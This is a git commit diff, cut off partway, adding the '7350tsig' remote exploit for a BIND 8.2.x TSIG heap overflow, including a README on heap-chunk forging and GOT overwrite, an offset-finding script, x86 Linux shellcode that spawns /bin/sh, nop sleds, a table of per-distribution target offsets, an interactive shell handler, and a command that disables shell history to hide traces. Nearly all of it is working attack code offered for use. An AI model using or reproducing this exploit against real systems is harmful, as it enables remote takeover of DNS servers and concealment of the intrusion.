summaryrefslogtreecommitdiff
path: root/other/tsig
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/tsig
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/tsig')
-rw-r--r--other/tsig/7350tsig.tar.gzbin0 -> 11157 bytes
-rw-r--r--other/tsig/7350tsig/Makefile10
-rw-r--r--other/tsig/7350tsig/README83
-rw-r--r--other/tsig/7350tsig/TODO2
-rw-r--r--other/tsig/7350tsig/dnslib.c270
-rw-r--r--other/tsig/7350tsig/dnslib.h58
-rw-r--r--other/tsig/7350tsig/find-offset.sh87
-rw-r--r--other/tsig/7350tsig/tcp.c857
-rw-r--r--other/tsig/Makefile10
-rw-r--r--other/tsig/README83
-rw-r--r--other/tsig/TODO2
-rw-r--r--other/tsig/dnslib.c270
-rw-r--r--other/tsig/dnslib.h58
-rw-r--r--other/tsig/dnslib.obin0 -> 24064 bytes
-rw-r--r--other/tsig/find-offset.sh87
-rw-r--r--other/tsig/obsolete/find-offset.sh87
-rw-r--r--other/tsig/shellcode/execve-shellcode.s49
-rw-r--r--other/tsig/shellcode/peername.s79
-rw-r--r--other/tsig/shellcode/shellcode.c48
-rw-r--r--other/tsig/tcp.c857
-rw-r--r--other/tsig/tcp.obin0 -> 48888 bytes
-rw-r--r--other/tsig/tsigbin0 -> 68262 bytes
22 files changed, 2997 insertions, 0 deletions
diff --git a/other/tsig/7350tsig.tar.gz b/other/tsig/7350tsig.tar.gz
new file mode 100644
index 0000000..8d41428
--- /dev/null
+++ b/other/tsig/7350tsig.tar.gz
Binary files differ
diff --git a/other/tsig/7350tsig/Makefile b/other/tsig/7350tsig/Makefile
new file mode 100644
index 0000000..6010ccd
--- /dev/null
+++ b/other/tsig/7350tsig/Makefile
@@ -0,0 +1,10 @@
1CC = gcc
2CFLAGS = -Wall -g -ggdb
3OBJS = tcp.o dnslib.o
4all: tsig
5
6tsig: $(OBJS)
7 $(CC) -o $@ $(OBJS)
8
9clean:
10 rm -rf $(OBJS) tsig
diff --git a/other/tsig/7350tsig/README b/other/tsig/7350tsig/README
new file mode 100644
index 0000000..da4ce79
--- /dev/null
+++ b/other/tsig/7350tsig/README
@@ -0,0 +1,83 @@
1VULNERABILITY INFORMATION
2
3The overflow occurs when BIND overwrites your TSIG record with its own, after
4the end of the question section without proper bounds checking.
5The overwritten data appears to be:
6
700 00 fa 00 ff 00 00 00 00 ll ll 00 00 00 tt tt tt tt 01 2c 00 00
8id id 00 11 00 00
9
10where:
11 id is the original dns id
12 ll is the rdlength
13 tt is the time it was signed
14
15TCP EXPLOITATION INFORMATION FROM SCUT
16
17With TCP, packet space is allocated on the heap, always in 65536 sized
18chunks. To exploit it one must obtain two packet chunks directly bordering.
19To make named allocate space you must send at least the 2 initial bytes which
20indicate the length of the packet. Creating just 2 allocated packets doesn't
21work because of the many little things which are allocated inbetween
22connections. I still don't have a completely reliable way of getting two
23consecutive packets...
24
25I overwrite the length with 'id id 00 11' where id is the DNS ID in the header
26of the packet you sent. This is set to 0 of course. The advantage with this
27is PREV_INUSE flag is set, so when its freed it doesnt try to consolidate the
28previous block so the prev_size you just overwrote doesnt matter. The actual
29length of the chunk is now 0x10, so there is 8 junk bytes, and then another
30chunk which you can fully control, woohoo ;) malloc should try and consolidate
31the two 'chunks', which should cause an overwrite.....
32
33The layout of the 3rd packet after the overwrite will be:
34
35<prev_size = 0><size = 0x11><junk> ...
36^^^^^^^^^^^^^^^^^^^^^^^^^^^^
37 Overwritten -^
38
39 mark previous as in use-.
40 v
41<prev_size = 0><size = 0x11><retloc - 12><buffer + 12 + 1>...
42
43 mark previous as not in use-.
44 v
45<prev_size = 0x10><size = 0x10><junk 8 bytes>
46
47 mark previous as in use-.
48 v
49<prev_size = 0><size = 0x11><junk 8 bytes>
50
51
52Important - after you send the complete overwrite packet remember to read
53the response frmo the server, it will be about 65545 bytes, otherwise the
54server hangs trying to send you data and the exploit doesn't work.
55
56OFFSETS
57
58Getting offsets for the udp simple method is relatively easy, it just takes
59some single stepping skill, and knowledge of basic stack layout. For the
60complex udp method its very difficult and time-consuming, and i don't
61really have a systematic way of doing it.
62TCP is much easier. Just do:
63
64ltrace -e malloc -p `pidof named`
65
66as root and watch the output as you create three simultaneous connections
67and send two bytes on each. BIND should allocate memory for each connection
68and the one you want is the second one. Add 13, and this is 'buf_addr' in
69target_t. Then just do:
70
71$ gdb /usr/sbin/named
72(gdb) disass close
73Dump of assembler code for function close:
740x8049fa8 <close>: jmp *0x80f7230
750x8049fae <close+6>: push $0xa0
760x8049fb3 <close+11>: jmp 0x8049e58
77End of assembler dump.
78(gdb)
79
80The '0x80f7230' is the one you want for 'retloc' in target_t. And thats it!
81Don't you just love the GOT ? :)
82
83or just use find-offset.sh.....
diff --git a/other/tsig/7350tsig/TODO b/other/tsig/7350tsig/TODO
new file mode 100644
index 0000000..7ecb04c
--- /dev/null
+++ b/other/tsig/7350tsig/TODO
@@ -0,0 +1,2 @@
1Add many connections to create huge padded buffer
2Collect more offsets
diff --git a/other/tsig/7350tsig/dnslib.c b/other/tsig/7350tsig/dnslib.c
new file mode 100644
index 0000000..25bb41c
--- /dev/null
+++ b/other/tsig/7350tsig/dnslib.c
@@ -0,0 +1,270 @@
1#include <stdio.h>
2#include "dnslib.h"
3#include <sys/types.h>
4#include <sys/socket.h>
5#include <netinet/in.h>
6#include <arpa/inet.h>
7
8int
9dns_mklongdn (u_char *cp, int length)
10{
11 int orig_len = length;
12
13 if (length == 0)
14 return (0);
15
16again:
17 if (length <= 64) {
18 if (length == 1) {
19 fprintf (stderr, "fuck...\n");
20 exit (-1);
21 }
22 *cp++ = length - 1;
23 memset (cp, 'A', length - 1);
24 cp += length - 1;
25 return (orig_len);
26 } else {
27 if (length == 65) {
28 /* we don't want just 1 byte left over */
29 *cp++ = 0x3e;
30 memset (cp, 'A', 0x3f);
31 cp += 0x3f;
32 length -= 0x3f;
33 } else {
34 *cp++ = 0x3f;
35 memset (cp, 'A', 0x3f);
36 cp += 0x3f;
37 length -= 0x40;
38 }
39 goto again;
40 }
41
42 return (orig_len);
43}
44
45static void
46hex_dump (unsigned char *buf, int len)
47{
48 if (len > 0x50)
49 len = 0x50;
50 while (len--) {
51 fprintf (stderr, "%01x ", *buf++);
52 }
53}
54
55void
56dns_debug (unsigned char *buf)
57{
58 HEADER *hdr;
59 unsigned char *orig = buf;
60 unsigned char tmp[1024];
61 int i;
62
63 hdr = (HEADER *)buf;
64
65 fprintf (stderr,
66 "qr = %d\n"
67 "id = %d\n"
68 "opcode = %d\n"
69 "aa = %d\n"
70 "tc = %d\n"
71 "rd = %d\n"
72 "ra = %d\n"
73 "rcode = %d\n"
74 "qdcount = %d\n"
75 "ancount = %d\n"
76 "nscount = %d\n"
77 "arcount = %d\n",
78 hdr->qr, ntohs(hdr->id), hdr->opcode, hdr->aa, hdr->tc,
79 hdr->rd, hdr->ra, hdr->rcode,
80 ntohs (hdr->qdcount), ntohs(hdr->ancount),
81 ntohs (hdr->nscount), ntohs (hdr->arcount));
82
83 buf += NS_HFIXEDSZ;
84
85 i = ntohs (hdr->qdcount);
86 while (i--) {
87 u_int16_t type, klass;
88
89 buf += dns_dn_expand (buf, tmp, orig);
90 NS_GET16 (type, buf);
91 NS_GET16 (klass, buf);
92 fprintf (stderr, "\n%s %d %d\n", tmp, type, klass);
93 }
94
95 i = ntohs (hdr->ancount) + ntohs (hdr->nscount) + ntohs (hdr->arcount);
96 while (i--) {
97 u_int16_t type, klass, rdlength;
98 u_int32_t ttl;
99
100 buf += dns_dn_expand (buf, tmp, orig);
101 fprintf (stderr, "%s ", tmp);
102 NS_GET16 (type, buf);
103 NS_GET16 (klass, buf);
104 NS_GET32 (ttl, buf);
105 NS_GET16 (rdlength, buf);
106
107 fprintf (stderr, "%d %d ", type, klass);
108 switch (type) {
109 case ns_t_a:
110 fprintf (stderr, "%s\n", inet_ntoa (*(struct in_addr *)buf));
111 break;
112 case ns_t_ptr:
113 case ns_t_cname:
114 case ns_t_ns:
115 dns_dn_expand (buf, tmp, orig);
116 fprintf (stderr, "%s\n", tmp);
117 break;
118 default:
119 hex_dump (buf, rdlength);
120 }
121 buf += rdlength;
122 }
123
124}
125
126/* make a full dns query including header. Returns length of packet.
127 */
128int
129dns_mkquery (char *name, u_char *buffer, u_int16_t id, ns_type type, ns_class klass)
130{
131 HEADER *head;
132
133 head = (HEADER *)buffer;
134
135 bzero (head, NS_HFIXEDSZ);
136 head->id = htons (id);
137 head->qr = 0;
138 head->opcode = 0;
139 head->aa = 0;
140 head->tc = 0;
141 head->rd = 1;
142 head->ra = 0;
143 head->rcode = 0;
144 head->qdcount = htons (1);
145 head->ancount = 0;
146 head->nscount = 0;
147 head->arcount = 0;
148
149 return (dns_mkqbody (name, buffer + NS_HFIXEDSZ, type, klass) + NS_HFIXEDSZ);
150}
151
152/* convert a \0-terminated string to a DNS domain name.
153 * www.yahoo.com(.) => \003www\005yahoo\003\com\000
154 */
155int
156dns_mkdn (char *in, u_char *out)
157{
158 char *start = in, c = 0;
159 int n = strlen (in);
160
161 in += n - 1;
162 out += n + 1;
163
164 *out-- = 0;
165
166 n = 0;
167 while (in >= start) {
168 c = *in--;
169 if (c == '.') {
170 *out-- = n;
171 n = 0;
172 } else {
173 *out-- = c;
174 n++;
175 }
176 }
177
178 if (n)
179 *out-- = n;
180
181 return (strlen (out + 1) + 1);
182}
183
184/* simple function for making a, ptr and ns resource records
185 * doesn't support more complicated stuph.
186 */
187
188int
189dns_mkrr (char *name, u_char *buf, ns_type type, ns_class klass,
190 char *rdata, u_int32_t ttl)
191{
192 int n;
193 rrec_body *rec;
194 u_char *ptr = buf;
195
196 /* name the resource record pertains too */
197 ptr += dns_mkdn (name, ptr);
198 rec = (rrec_body *)ptr;
199 rec->type = htons (type);
200 rec->klass = htons (klass);
201 rec->ttl = htonl (ttl);
202 rec->rdlength = 0;
203 ptr += 10;
204
205 switch (type) {
206 case ns_t_a:
207 *(u_int32_t *)ptr = inet_addr (rdata);
208 rec->rdlength = htons (4);
209 ptr += 4;
210 break;
211 case ns_t_ptr:
212 case ns_t_ns:
213 n = dns_mkdn (rdata, ptr);
214 ptr += n;
215 rec->rdlength = htons (n);
216 break;
217 default:
218 /**/
219 }
220 return (ptr - buf);
221}
222
223/* make just the body of a DNS query.
224 */
225int
226dns_mkqbody (char *name, u_char *buffer, ns_type type, ns_class klass)
227{
228 int len;
229
230 len = dns_mkdn (name, buffer);
231 buffer += len;
232 NS_PUT16 (type, buffer);
233 NS_PUT16 (klass, buffer);
234 return (len + 4);
235}
236
237
238/* uncompress compressed dns names. ugh.
239 * works for normal formatted dns names too..
240 * returns the length of the first part of the compressed name (i.e.
241 * before redirection).
242 */
243
244int
245dns_dn_expand (u_char *in, char *out, u_char *msg)
246{
247 u_char *start = in, *end = NULL;
248 u_char len;
249 u_int16_t off;
250
251 while ((len = *in++)) {
252 if (len & NS_CMPRSFLGS) {
253 if (end == NULL)
254 end = in + 1;
255 off = (len & ~NS_CMPRSFLGS);
256 off |= *in++ << 8;
257 off = ntohs (off);
258 in = msg + off;
259 continue;
260 }
261 memcpy (out, in, len);
262 out += len;
263 in += len;
264 *out++ = '.';
265 }
266 if (end == NULL)
267 end = in;
268 *out++ = 0;
269 return (end - start);
270}
diff --git a/other/tsig/7350tsig/dnslib.h b/other/tsig/7350tsig/dnslib.h
new file mode 100644
index 0000000..ccf4bfb
--- /dev/null
+++ b/other/tsig/7350tsig/dnslib.h
@@ -0,0 +1,58 @@
1/* dns helper functions by smiler / teso
2 * requires bind 8.x headers now
3 */
4
5#ifndef DNSLIB_H
6#define DNSLIB_H
7#include <stdlib.h>
8#include <string.h>
9#include <sys/types.h>
10#include <arpa/nameser.h>
11
12/* little endian macros */
13
14#define NS_LPUT16(s, blah) { \
15 u_char *p = blah; \
16 *(u_int16_t *)p = s; \
17 blah += 2; \
18}
19
20#define NS_LPUT32(s, blah) { \
21 u_char *p = blah; \
22 *(u_int32_t *)p = s; \
23 blah += 4; \
24}
25
26/* make a fully blown query packet */
27int dns_mkquery (char *name, u_char *buffer, u_int16_t id, ns_type type, ns_class klass);
28
29/* make a query record */
30int dns_mkqbody (char *name, u_char *buffer, ns_type type, ns_class klass);
31
32/* convert to dns names, i.e. www.yahoo.com ==> \003www\005yahoo\003com\000 */
33int dns_mkdn (char *in, u_char *out);
34
35/* uncompress (unchecked) a dns name */
36int dns_dn_expand (u_char *in, char *out, u_char *msg);
37
38/* make a long dns name fragment (without terminating \000)
39 * provided length > 1
40 */
41int dns_mklongdn (u_char *cp, int length);
42
43/* print debug information to stderr
44 */
45void dns_debug (unsigned char *buf);
46
47typedef struct {
48 u_int16_t type;
49 u_int16_t klass;
50 u_int32_t ttl;
51 u_int16_t rdlength;
52} rrec_body;
53
54/* create a resource record */
55int dns_mkrr (char *name, u_char *buf, ns_type type, ns_class klass,
56 char *rdata, u_int32_t ttl);
57
58#endif /* DNSLIB_H */
diff --git a/other/tsig/7350tsig/find-offset.sh b/other/tsig/7350tsig/find-offset.sh
new file mode 100644
index 0000000..2338253
--- /dev/null
+++ b/other/tsig/7350tsig/find-offset.sh
@@ -0,0 +1,87 @@
1#!/bin/sh
2
3check_util ()
4{
5 for util in $*; do
6 echo -n "checking for $util: "
7 if ! which $util; then
8 echo "not found, aborting"
9 exit
10 fi
11 done
12}
13
14echo "7350 tsig exploit tcp offset finder"
15
16if [ $# != 2 ]; then
17 echo "usage: $0 /path/to/named/binary pid-of-running-named"
18 echo
19 exit
20fi;
21
22check_util ltrace objdump gcc
23
24cat > lala.c << EOF
25#include <stdio.h>
26#include <netinet/in.h>
27#include <sys/types.h>
28#include <sys/socket.h>
29
30int
31get_connect (void)
32{
33 int sock;
34 struct sockaddr_in sin;
35
36 memset (&sin, 0, sizeof(sin));
37
38 sock = socket(AF_INET, SOCK_STREAM, 0);
39 if (sock < 0) {
40 perror ("socket");
41 exit (-1);
42 }
43 sin.sin_addr.s_addr = inet_addr("127.0.0.1");
44 sin.sin_port = htons (53);
45 sin.sin_family = AF_INET;
46 if (connect (sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
47 perror ("connect");
48 exit (-1);
49 }
50 send (sock, "aa", 2, 0);
51}
52
53int
54main (int argc, char **argv)
55{
56 get_connect();
57 get_connect();
58 get_connect();
59 return(0);
60}
61EOF
62gcc lala.c -o lala
63ltrace -e malloc -p $2 -o ltrace-log &
64ltrace_pid="$!"
65./lala
66kill -INT ${ltrace_pid}
67cat ltrace-log | head -2 | tail -1 > tmp
68cat tmp | cut -d '=' -f2 | cut -c4- > ltrace-log
69HEH=`cat ltrace-log| tr 'a-z' 'A-Z'`
70cat > dc << EOF
7116
72o
7316
74i
75EOF
76echo ${HEH} >> dc
77echo "D" >> dc
78echo "+" >> dc
79echo "p" >> dc
80ret_addr=`dc ./dc`
81echo $HEH
82echo "set ret_addr to 0x$ret_addr"
83rm -f ltrace-log tmp lala.c lala dc
84
85HEH=`objdump --dynamic-reloc $1 | grep " close$" | cut -f1 -d ' '`
86HEH="0x$HEH"
87echo "set retloc to $HEH"
diff --git a/other/tsig/7350tsig/tcp.c b/other/tsig/7350tsig/tcp.c
new file mode 100644
index 0000000..fa942f1
--- /dev/null
+++ b/other/tsig/7350tsig/tcp.c
@@ -0,0 +1,857 @@
1/* coded by smiler / teso
2 *
3 * teso private release - do not distribute
4 *
5 * based on scut's method
6 *
7 * 0.2 added palmers slack 7.1 offsets
8 * 0.3 added scut's huge collection of offsets :)
9 * 0.4 added populator reliability -sc. :)
10 *
11 * feedback welcome, im sure there is a better way to do it than this.
12 */
13
14#include <stdio.h>
15#include <string.h>
16#include <stdlib.h>
17#include <ctype.h>
18#include <sys/time.h>
19#include <sys/types.h>
20#include <sys/select.h>
21#include <sys/socket.h>
22#include <netinet/in.h>
23#include <netdb.h>
24#include <fcntl.h>
25#include <unistd.h>
26#if !defined(__FreeBSD__)
27# include <getopt.h>
28#endif
29#include "dnslib.h"
30
31
32unsigned char xp_initstr[] = "unset HISTFILE;uname -a;id;\n";
33
34unsigned char trap_code[] = "\x06\x31\xc0\xfe\xc0\xcd\x80";
35
36/* peername code that checks the source port connecting
37 * also setsockopts the SO_RCVLOWAT value in case BIND is
38 * waiting for such, which can happen
39 */
40unsigned char peername_code[]=
41 "\x31\xdb\xb3\x07\x89\xe2\xeb\x09\xaa\xaa\xaa\xaa"
42 "\xaa\xaa\xaa\xaa\xaa\x6a\x10\x89\xe1\x51\x52\x68"
43 "\xfe\x00\x00\x00\x89\xe1\x31\xc0\xb0\x66\xcd\x80"
44 "\xa8\xff\x75\x09\x66\x81\x7c\x24\x12\x34\x52\x74"
45 "\x0c\x5a\xf6\xc2\xff\x74\x4f\xfe\xca\x52\xeb\xe2"
46 "\x38\x5b\x31\xc9\xb1\x03\xfe\xc9\x31\xc0\xb0\x3f"
47 "\xcd\x80\x67\xe3\x02\xeb\xf3\x6a\x04\x6a\x00\x6a"
48 "\x12\x6a\x01\x53\xb8\x66\x00\x00\x00\xbb\x0e\x00"
49 "\x00\x00\x89\xe1\xcd\x80\x6a\x00\x6a\x00\x68\x2f"
50 "\x73\x68\x00\x68\x2f\x62\x69\x6e\x8d\x4c\x24\x08"
51 "\x8d\x54\x24\x0c\x89\x21\x89\xe3\x31\xc0\xb0\x0b"
52 "\xcd\x80\x31\xc0\xfe\xc0\xcd\x80";
53
54
55/* 34 byte x86/linux PIC arbitrary execute shellcode
56 */
57unsigned char x86_lnx_execve[] =
58 "\xeb\x1b\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75"
59 "\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89"
60 "\xe1\xb0\x0b\xcd\x80\xe8\xe0\xff\xff\xff";
61
62typedef struct target {
63 char *name;
64 char *verstr;
65 int nl;
66 unsigned int ret_addr;
67 unsigned int retloc;
68} target_t;
69
70/* everything from 8.2 (included) to 8.2.3-REL (excluded) is vulnerable
71 */
72target_t targets[]={
73 /* XXX: i (scut) think that retloc is always right, just retaddr
74 * can vary. i guess it varies when using different configurations
75 * so a way to reduce the effect is to send lots of tcp packets
76 * with nops + shellcode and then use a retaddr above the one
77 * returned by smilers script. like you send 10 * 64kb packets,
78 * just use 0x081n0000, n = [567]
79 *
80 * get the offsets this way:
81 * strings /usr/sbin/named | grep 8.2 | tail -1
82 * md5sum /usr/sbin/named
83 * objdump --dynamic-reloc /usr/sbin/named | grep " close$"
84 * retaddr should be 0x08180000 in all cases
85 */
86
87 /* bind-8.2.2p5-7.deb, /usr/sbin/named 1ab35b7360bab29809706c2b440fc147 */
88 {"Debian 2.2 8.2.2p5-7 GOT", "8.2.2-P5-NOESW", 0, 0x08180000, 0x080b6d50 },
89 /* bind-8.2.2p5-11.deb, /usr/sbin/named bf5bf8aa378bbb135833f3d924746574 */
90 {"Debian 2.2 8.2.2p5-11 GOT", "8.2.2-P5-NOESW", 0, 0x08180000, 0x080b6f50 },
91 /* bind-8.2.2p7-1.deb, /usr/sbin/named fddc29d50b773125302013cea4fe86cf */
92 {"Debian 2.2 8.2.2p7-1 GOT", "8.2.2-P7-NOESW", 1, 0x08180000, 0x080b70b0 },
93
94 /* bind-8.2.2P5-12mdk.i586.rpm, /usr/sbin/named 96cb52c21f622d47315739ee4c480206 */
95 {"Mandrake 7.2 8.2.2-P5 GOT", "8.2.2-P5", 1, 0x08180000, 0x080d6a6c },
96
97 /* RedHat 5.2 uses 8.1.2 */
98 /* bind-8.2-6.i386.rpm, /usr/sbin/named */
99 {"RedHat 6.0 8.2 GOT", "8.2", 0, 0x08180000, 0x080c62ac },
100 /* bind-8.2.1-7.i386.rpm, /usr/sbin/named 9e1efa3d6eb65d1d12e9c3afcb1679de */
101 {"RedHat 6.1 8.2.1 GOT", "8.2.1", 0, 0x08180000, 0x080c3a2c },
102 /* bind-8.2.2_P3*?.rpm, /usr/sbin/named 40ae845243a678a5762a464f08a67ab5 */
103 {"RedHat 6.2 8.2.2-P3 GOT", "8.2.2-P3", 0, 0x08180000, 0x080c5170 },
104 /* bind-8.2.2_P5-9.rpm, /usr/sbin/named a74c76eca6d2bd6ad20a8258e6ba0562 */
105 {"RedHat 6.2 8.2.2-P5 GOT", "8.2.2-P5", 0, 0x08180000, 0x080c56ac },
106 /* bind-8.2.2_P5-25.i386.rpm, /usr/sbin/named ef247e20848ac07a3c5dde1d18d5e201 */
107 {"RedHat 7.0 8.2.2-P5 GOT", "8.2.2-P5", 1, 0x08180000, 0x080f7230 },
108
109 /* SuSE 6.0 to 6.2 use BIND 8.1.2 */
110 /* bind8.rpm, /usr/sbin/named 4afe958a1959918426572701dd650c4b */
111 {"SuSE 6.3 8.2.2-P5 GOT", "8.2.2-P5", 0, 0x08180000, 0x080d1d8c },
112 /* bind8.rpm, /usr/sbin/named b8f62f57b9140e7c9a6abb12b8cb9751 */
113 {"SuSE 6.4 8.2.2-P5 GOT", "8.2.2-P5", 0, 0x08180000, 0x080d0a8c },
114 /* bind8.rpm, /usr/sbin/named 4aa979a93e5e8b44d316a986d3008931 */
115 {"SuSE 7.0 8.2.3-T5B GOT", "8.2.3-T5B", 0, 0x08180000, 0x080d36cc },
116 {"SuSE 7.1 8.2.3-T9B GOT", "8.2.3-T9B", 1, 0x08180000, 0x080d5ca8 },
117
118 /* slack 4.0 uses 8.1.2 */
119 /* bind.tgz, /usr/sbin/named 6a2305085f8a3e50604c32337d354ff8 */
120 {"Slackware 7.0 8.2.2-REL GOT", "8.2.2-REL", 0, 0x08180000, 0x080c532c },
121 /* bind.tgz, /usr/sbin/named 1c7436aaab660c3c1c940e4e9c6847ec */
122 {"Slackware 7.1 8.2.2-P5 GOT", "8.2.2-P5", 1, 0x08180000, 0x080bfd0c },
123
124 {NULL, 0x0, 0x0 },
125};
126
127int mass = 0,
128 check_version = 1;
129unsigned char * code = peername_code;
130unsigned int code_len = sizeof (peername_code);
131
132int
133sleepvis (int seconds);
134
135void
136bind_version (struct addrinfo *addr, unsigned char *verbuf,
137 unsigned long int len);
138
139static int sc_build_x86_lnx (unsigned char *target, size_t target_len,
140 unsigned char *shellcode, char **argv);
141
142int
143send_bogus (struct addrinfo *addr);
144
145int
146send_populators (struct addrinfo *addr, int count);
147
148int target_cnt = sizeof(targets)/sizeof(target_t);
149target_t *vec = &targets[0];
150
151#if 1
152int
153Xsend (int fd, unsigned char *buf, size_t len, int flags)
154{
155 int n, tot = len;
156
157 while (len > 0) {
158 n = send (fd, buf, len, flags);
159 if (n <= 0)
160 return (n);
161 len -= n;
162 buf += n;
163 }
164
165 return (tot);
166}
167#else
168#define Xsend send
169#endif
170
171#if 1
172int
173Xread (int fd, unsigned char *buf, size_t len)
174{
175 int n, tot;
176 int pdlen;
177 unsigned char plen[2];
178
179 read (fd, plen, 2);
180 pdlen = ntohs (*(u_int16_t *)plen);
181 if (pdlen > len)
182 return (-1);
183
184 len = pdlen;
185 tot = len;
186
187 while (len > 0) {
188 n = read (fd, buf, len);
189 if (n < 0)
190 return (n);
191
192 len -= n;
193 if (n == 0)
194 return (len);
195 buf += n;
196 }
197
198 return (tot);
199}
200#else
201#define Xread read
202#endif
203
204
205void
206runshell (int fd)
207{
208 fd_set rset;
209 int n;
210 char buffer[4096];
211
212 for (;;) {
213 FD_ZERO (&rset);
214 FD_SET (fd, &rset);
215 FD_SET (STDIN_FILENO, &rset);
216
217 n = select (fd + 1, &rset, NULL, NULL, NULL);
218 if (n <= 0) {
219 perror ("select");
220 return;
221 }
222
223 if (FD_ISSET (fd, &rset)) {
224 n = recv (fd, buffer, sizeof (buffer), 0);
225 if (n <= 0) {
226 perror ("select");
227 break;
228 }
229
230 write (STDOUT_FILENO, buffer, n);
231 }
232
233 if (FD_ISSET (STDIN_FILENO, &rset)) {
234 n = read (STDIN_FILENO, buffer, sizeof (buffer));
235 if (n <= 0) {
236 perror ("select");
237 break;
238 }
239 Xsend (fd, buffer, n, 0);
240 }
241 }
242 return;
243}
244
245int
246get_warez_connection (struct addrinfo *addr)
247{
248 int s, val = 1;
249 struct sockaddr_in sin;
250
251 s = socket (addr->ai_family, addr->ai_socktype, addr->ai_protocol);
252 if (s < 0) {
253 return (-1);
254 }
255
256 if (setsockopt (s, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val)) < 0) {
257 close (s);
258 return (-1);
259 }
260
261 memset (&sin, 0, sizeof(sin));
262 sin.sin_family = addr->ai_family;
263 sin.sin_port = htons (13394); /* shellcode checks for this... */
264 sin.sin_addr.s_addr = 0;
265
266 if (bind (s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
267 close (s);
268 return (-1);
269 }
270
271 if (connect (s, addr->ai_addr, addr->ai_addrlen) < 0) {
272 close (s);
273 return (-1);
274 }
275
276 return (s);
277}
278
279int
280get_connection (struct addrinfo *addr)
281{
282 int s;
283
284 s = socket (addr->ai_family, addr->ai_socktype, addr->ai_protocol);
285 if (s < 0) {
286 return (-1);
287 }
288
289 if (connect (s, addr->ai_addr, addr->ai_addrlen) < 0) {
290 close (s);
291 return (-1);
292 }
293
294 fcntl (s, F_SETFL, O_SYNC | fcntl (s, F_GETFL));
295
296 return (s);
297}
298
299/* since a malloc packet is always aligned on an 8 byte boundary we can
300 * assume at least a 2 byte alignment.
301 * Since (ret+12) is overwritten with garbage we need to jump over that
302 * with each instruction and it also needs to look like a domain name.
303 */
304unsigned char tesops[]=
305 "\x27\x90\xeb\x12\xeb\x12\xeb\x12\xeb\x12"
306 "\xeb\x12\xeb\x12\xeb\x12\xeb\x12\xeb\x12"
307 "\xeb\x12\xeb\x12\xeb\x12\xeb\x12\xeb\x12"
308 "\xeb\x12\xeb\x12\xeb\x12\xeb\x12\xeb\x12";
309/* just nops plus a jump to skip the first byte of the shellcode, note
310 * we shouldn't return into this part, but its relatively small
311 */
312unsigned char finops[]=
313 "\x14\x90\x90\x90\x90\x90\x90\x90\x90\x90"
314 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x01";
315
316int
317mk_nops (unsigned char *cp)
318{
319 unsigned char *orig = cp;
320 int ctr;
321
322 for (ctr = 0; ctr < 1498; ++ctr) {
323 memcpy (cp, tesops, 40);
324 cp += 40;
325 }
326 memcpy (cp, finops, 21);
327 cp += 21;
328 return (cp - orig);
329}
330int
331mk_overwrite_pkt (unsigned char *cp)
332{
333 unsigned char *orig = cp;
334 HEADER *hdr = (HEADER *)cp;
335
336 memset (cp, 0, NS_HFIXEDSZ);
337 hdr->id = 0;
338 hdr->rd = 1;
339 hdr->arcount = hdr->qdcount = htons (1);
340
341 cp += NS_HFIXEDSZ;
342
343 cp += mk_nops (cp);
344
345#if 0
346 memcpy (cp, vec->code, vec->code_len);
347 cp += vec->code_len;
348#endif
349
350#if 1
351 cp += dns_mklongdn (cp, 0xffff - 25 - (cp - orig));
352#else /* harmless, for testing... */
353 cp += dns_mklongdn (cp, 0xffff - 25 - (cp - orig) - 40);
354#endif
355 *cp++ = '\0';
356
357 NS_PUT16 (ns_t_a, cp);
358 NS_PUT16 (ns_c_in, cp);
359
360 *cp++ = '\0';
361 NS_PUT16 (250, cp);
362 *cp++ = '\0';
363
364 return (cp - orig);
365}
366
367int
368mk_malloc_pkt (unsigned char *cp)
369{
370 unsigned char *orig = cp;
371
372 memset (cp, 'P', 0x10 - 8);
373 cp += 0x10 - 8;
374
375 /* fake 1 indicate previous is in use */
376 NS_LPUT32 (0, cp);
377 NS_LPUT32 (0x11, cp);
378 NS_LPUT32 (vec->retloc - 12, cp);
379 NS_LPUT32 (vec->ret_addr, cp);
380 /* fake 2 indicate previous isnt in use */
381 NS_LPUT32 (0x10, cp);
382 NS_LPUT32 (0x10, cp);
383 NS_LPUT32 (0xf4f4f4f4, cp);
384 NS_LPUT32 (0x4f4f4f4f, cp);
385 /* fake 3 indicate previous is in use */
386 NS_LPUT32 (0x0, cp);
387 NS_LPUT32 (0x11, cp);
388 NS_LPUT32 (0xe3e3e3e3, cp);
389 NS_LPUT32 (0x3e3e3e3e, cp);
390
391 return (cp - orig);
392}
393
394int
395sleepvis (int seconds)
396{
397 fprintf (stderr, "%2d", seconds);
398 while (seconds > 0) {
399 fflush (stderr);
400 seconds -= 1;
401 sleep (1);
402 fprintf (stderr, "\b\b%2d", seconds);
403 }
404 fprintf (stderr, "\b\b");
405 fflush (stderr);
406
407 return (0);
408}
409
410int
411send_bogus (struct addrinfo *addr)
412{
413 int sock;
414 unsigned char bogus[2] = "\x00\x00";
415
416 sleep (10);
417
418 sock = get_connection (addr);
419 if (sock < 0) {
420 fprintf (stderr, "# looks alright, BIND either crashed or spinning in shellcode\n");
421 return (1);
422 } else {
423 fprintf (stderr, "# BIND is still reacting, either not vulnerable or GOT not triggered\n");
424 fprintf (stderr, "# triggering close()\n");
425 }
426
427 if (Xsend (sock, bogus, 2, 0) < 0) {
428 perror ("send_bogus:send");
429 exit (EXIT_FAILURE);
430 }
431 close (sock);
432
433 return (0);
434}
435
436int
437send_populators (struct addrinfo *addr, int count)
438{
439 int i;
440 int sock[64];
441 unsigned char len[2];
442 unsigned char dbuf[65536];
443 unsigned int dbuf_len_tell = 65532;
444 unsigned int dbuf_len_send;
445
446 if (count > (sizeof (sock) / sizeof (sock[0]))) {
447 fprintf (stderr, "to keep the balance of sanity is sometimes impossible\n");
448 exit (EXIT_FAILURE);
449 }
450
451 fprintf (stderr, "sending %d packets, 64kb each. will give %lu bytes of nop space\n",
452 count, (unsigned long int) count * (dbuf_len_tell - code_len));
